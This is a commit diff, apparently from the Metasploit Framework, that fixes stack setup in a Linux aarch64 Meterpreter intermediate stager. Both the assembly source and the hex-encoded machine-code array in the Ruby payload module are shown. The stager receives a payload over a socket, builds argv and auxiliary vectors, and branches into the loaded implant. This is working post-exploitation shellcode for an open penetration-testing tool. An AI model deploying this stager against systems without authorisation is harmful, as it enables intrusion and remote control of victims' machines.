Skip to content

Commit 7b71f60

Browse files
committed
fix the stack
1 parent 26f4fa3 commit 7b71f60

File tree

2 files changed

+11
-14
lines changed

2 files changed

+11
-14
lines changed

external/source/shellcode/linux/aarch64/stage_mettle.s

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -60,28 +60,28 @@ read_loop:
6060
mov x1, #109
6161
str x1, [sp]
6262
mov x1, sp
63-
stp x0, x1, [sp, #-16]!
6463

65-
/* argc = 2, argv[1] = 'x12 (sockfd)' */
6664
mov x2, x12
6765
mov x3, 0
68-
stp x2, x3, [sp, #-16]!
6966

7067
mov x4, 0
7168
mov x5, #7 /* AT_BASE */
72-
stp x4, x5, [sp, #-16]!
7369

7470
mov x6, x10
7571
mov x7, #6 /* AT_PAGESZ */
76-
stp x6, x7, [sp, #-16]!
7772

7873
mov x8, #0x1000
7974
mov x9, #25 /* AT_RANDOM */
80-
stp x8, x9, [sp, #-16]!
8175

8276
mov x10, x10
8377
mov x11, #0 /* AT_NULL */
78+
8479
stp x10, x11, [sp, #-16]!
80+
stp x8, x9, [sp, #-16]!
81+
stp x6, x7, [sp, #-16]!
82+
stp x4, x5, [sp, #-16]!
83+
stp x2, x3, [sp, #-16]!
84+
stp x0, x1, [sp, #-16]!
8585

8686
mov x29, #0
8787
mov x30, #0

modules/payloads/stages/linux/aarch64/meterpreter.rb

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@ def handle_intermediate_stage(conn, payload)
4040
# Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
4141
midstager = [
4242

43-
4443
0x10000782, # adr x2, f0 <size>
4544
0xb9400042, # ldr w2, [x2]
4645
0xaa0203ea, # mov x10, x2
@@ -78,38 +77,36 @@ def handle_intermediate_stage(conn, payload)
7877
0xd2800da1, # mov x1, #0x6d // #109
7978
0xf90003e1, # str x1, [sp]
8079
0x910003e1, # mov x1, sp
81-
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
8280
0xaa0c03e2, # mov x2, x12
8381
0xd2800003, # mov x3, #0x0 // #0
84-
0xa9bf0fe2, # stp x2, x3, [sp,#-16]!
8582
0xd2800004, # mov x4, #0x0 // #0
8683
0xd28000e5, # mov x5, #0x7 // #7
87-
0xa9bf17e4, # stp x4, x5, [sp,#-16]!
8884
0xaa0a03e6, # mov x6, x10
8985
0xd28000c7, # mov x7, #0x6 // #6
90-
0xa9bf1fe6, # stp x6, x7, [sp,#-16]!
9186
0xd2820008, # mov x8, #0x1000 // #4096
9287
0xd2800329, # mov x9, #0x19 // #25
93-
0xa9bf27e8, # stp x8, x9, [sp,#-16]!
9488
0xaa0a03ea, # mov x10, x10
9589
0xd280000b, # mov x11, #0x0 // #0
9690
0xa9bf2fea, # stp x10, x11, [sp,#-16]!
91+
0xa9bf27e8, # stp x8, x9, [sp,#-16]!
92+
0xa9bf1fe6, # stp x6, x7, [sp,#-16]!
93+
0xa9bf17e4, # stp x4, x5, [sp,#-16]!
94+
0xa9bf0fe2, # stp x2, x3, [sp,#-16]!
95+
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
9796
0xd280001d, # mov x29, #0x0 // #0
9897
0xd280001e, # mov x30, #0x0 // #0
9998
0xd61f01c0, # br x14
10099
0xd2800000, # mov x0, #0x0 // #0
101100
0xd2800ba8, # mov x8, #0x5d // #93
102101
0xd4000001, # svc #0x0
103102
0xd503201f, # nop
104-
105103
payload.length,
106104
0x00000000, # .word 0x00000000
107105
entry_offset,
108106
0x00000000, # .word 0x00000000
109107
].pack('V*')
110108

111109
print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)")
112-
print_status("Transmitting intermediate paystager...(#{payload.length} bytes)")
113110
conn.put([midstager.length].pack('V'))
114111
conn.put(midstager) == midstager.length
115112
end

0 commit comments

Comments
 (0)